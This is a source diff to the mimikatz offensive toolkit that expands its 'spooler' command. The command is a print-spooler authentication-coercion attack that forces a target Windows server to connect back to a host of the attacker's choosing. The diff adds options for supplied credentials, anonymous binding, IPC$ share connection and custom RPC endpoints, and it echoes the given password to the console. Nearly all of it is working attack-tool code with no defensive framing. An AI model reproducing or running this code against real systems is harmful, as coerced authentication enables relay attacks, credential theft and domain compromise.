diff --git a/mimikatz/modules/kuhl_m_misc.c b/mimikatz/modules/kuhl_m_misc.c index 743c5c8..3ca85be 100644 --- a/mimikatz/modules/kuhl_m_misc.c +++ b/mimikatz/modules/kuhl_m_misc.c @@ -1342,58 +1342,127 @@ handle_t __RPC_USER STRING_HANDLE_bind(IN STRING_HANDLE Name) {return hSpoolHand void __RPC_USER STRING_HANDLE_unbind(IN STRING_HANDLE Name, handle_t hSpool) {} NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]) { - LPCWSTR szRemote, szCallbackTo; - LPWSTR szPathToCallback = NULL; + NTSTATUS status; PRINTER_HANDLE hPrinter; DEVMODE_CONTAINER Container = {0, NULL}; - DWORD ret; + DWORD dwRet, AuthnSvc; + long ret = 0; + NETRESOURCE nr = {0, RESOURCETYPE_DISK, 0, 0, NULL, NULL, NULL, NULL}; + LPCWSTR szUser, szPassword, szRemote = NULL, szEndpoint, szCallbackTo; + PWSTR szPathToCallback; + + SEC_WINNT_AUTH_IDENTITY secIdentity = {NULL, 0, NULL, 0, NULL, 0, SEC_WINNT_AUTH_IDENTITY_UNICODE}; + + if(kull_m_string_args_byName(argc, argv, L"authuser", &szUser, NULL)) + { + AuthnSvc = RPC_C_AUTHN_GSS_NEGOTIATE; + kprintf(L"[auth ] Explicit authentication\n"); + kprintf(L"[auth ] Username: %s\n", szUser); + secIdentity.User = (USHORT *) szUser; + secIdentity.UserLength = lstrlen(szUser); + + if(kull_m_string_args_byName(argc, argv, L"authpassword", &szPassword, NULL)) + { + kprintf(L"[auth ] Password: %s\n", szPassword); + secIdentity.Password = (USHORT *) szPassword; + secIdentity.PasswordLength = lstrlen(szPassword); + } + } + else if(kull_m_string_args_byName(argc, argv, L"noauth", NULL, NULL)) + { + AuthnSvc = RPC_C_AUTHN_NONE; + kprintf(L"[auth ] None\n"); + szUser = szPassword = L""; + } + else + { + AuthnSvc = RPC_C_AUTHN_DEFAULT; + kprintf(L"[auth ] Default (current)\n"); + szUser = szPassword = NULL; + } + + kull_m_string_args_byName(argc, argv, L"endpoint", &szEndpoint, L"\\pipe\\spoolss"); + kprintf(L"[ rpc ] Endpoint: %s\n", szEndpoint); if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL) || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL)) { if(kull_m_string_args_byName(argc, argv, L"connect", &szCallbackTo, NULL) || kull_m_string_args_byName(argc, argv, L"callback", &szCallbackTo, NULL)) { - if(kull_m_string_sprintf(&szPathToCallback, L"\\\\%s", szCallbackTo)) + if(kull_m_string_sprintf(&nr.lpRemoteName, L"\\\\%s\\IPC$", szRemote)) { - kprintf(L"[info] %s will try to connect to %s\\IPC$\n\n", szRemote, szPathToCallback); - if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, L"\\pipe\\spoolss", L"spooler", TRUE, RPC_C_AUTHN_DEFAULT, NULL, RPC_C_IMP_LEVEL_DEFAULT, &hSpoolHandle, NULL)) + if(kull_m_string_sprintf(&szPathToCallback, L"\\\\%s", szCallbackTo)) { - RpcTryExcept + kprintf(L"[trans] Disconnect eventual IPC: "); + dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE); + if((dwRet == NO_ERROR) || (dwRet == ERROR_NOT_CONNECTED)) { - ret = RpcOpenPrinter(NULL, &hPrinter, NULL, &Container, GENERIC_READ); - if(ret == ERROR_SUCCESS) + kprintf(L"OK\n[trans] Connect to IPC: "); + dwRet = WNetAddConnection2(&nr, szPassword, szUser, CONNECT_TEMPORARY); + if(dwRet == NO_ERROR) { - ret = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, PRINTER_CHANGE_ALL, PRINTER_NOTIFY_CATEGORY_ALL, szPathToCallback, 42, 0, NULL); - if(ret == ERROR_SUCCESS) + kprintf(L"OK\n"); + if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, szEndpoint, L"spooler", TRUE, AuthnSvc, secIdentity.UserLength ? &secIdentity : NULL, RPC_C_IMP_LEVEL_DEFAULT, &hSpoolHandle, NULL)) { - kprintf(L"Connected to the target, and notification is OK (?!)\n"); - ret = RpcFindClosePrinterChangeNotification(hPrinter); - if(ret != ERROR_SUCCESS) + kprintf(L"[ rpc ] Resolve Endpoint: "); + status = RpcEpResolveBinding(hSpoolHandle, &winspool_v1_0_c_ifspec); + if(status == RPC_S_OK) { - PRINT_ERROR(L"RpcFindClosePrinterChangeNotification: 0x%08x\n", ret); + kprintf(L"OK\n\n"); + RpcTryExcept + { + ret = RpcOpenPrinter(NULL, &hPrinter, NULL, &Container, GENERIC_READ); + if(ret == ERROR_SUCCESS) + { + ret = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, PRINTER_CHANGE_ALL, PRINTER_NOTIFY_CATEGORY_ALL, szPathToCallback, 42, 0, NULL); + if(ret == ERROR_SUCCESS) + { + kprintf(L"Connected to the target, and notification is OK (?!)\n"); + ret = RpcFindClosePrinterChangeNotification(hPrinter); + if(ret != ERROR_SUCCESS) + { + PRINT_ERROR(L"RpcFindClosePrinterChangeNotification: 0x%08x\n", ret); + } + } + else if(ret == ERROR_ACCESS_DENIED) + { + kprintf(L"Access is denied (can be OK)\n"); + } + else PRINT_ERROR(L"RpcRemoteFindFirstPrinterChangeNotification: 0x%08x\n", ret); + + ret = RpcClosePrinter(&hPrinter); + if(ret != ERROR_SUCCESS) + { + PRINT_ERROR(L"RpcClosePrinter: 0x%08x\n", ret); + } + } + else PRINT_ERROR(L"RpcOpenPrinter: 0x%08x\n", ret); + } + RpcExcept(RPC_EXCEPTION) + PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode()); + RpcEndExcept + + kprintf(L"\n"); } + else PRINT_ERROR(L"RpcEpResolveBinding: 0x%08x\n", status); + + kull_m_rpc_deleteBinding(&hSpoolHandle); } - else if(ret == ERROR_ACCESS_DENIED) - { - kprintf(L"Access is denied (can be OK)\n"); - } - else PRINT_ERROR(L"RpcRemoteFindFirstPrinterChangeNotification: 0x%08x\n", ret); - ret = RpcClosePrinter(&hPrinter); - if(ret != ERROR_SUCCESS) + kprintf(L"[trans] Disconnect IPC: "); + dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE); + if(dwRet == NO_ERROR) { - PRINT_ERROR(L"RpcClosePrinter: 0x%08x\n", ret); + kprintf(L"OK\n"); } + else PRINT_ERROR(L"WNetCancelConnection2: 0x%08x\n"); } - else PRINT_ERROR(L"RpcOpenPrinter: 0x%08x\n", ret); + else PRINT_ERROR(L"WNetAddConnection2:%u\n", dwRet); } - RpcExcept(RPC_EXCEPTION) - PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode()); - RpcEndExcept + else PRINT_ERROR(L"WNetCancelConnection2: %u\n", dwRet); - kull_m_rpc_deleteBinding(&hSpoolHandle); + LocalFree(szPathToCallback); } - - LocalFree(szPathToCallback); + LocalFree(nr.lpRemoteName); } } else PRINT_ERROR(L"missing /connect argument to specify notifications target");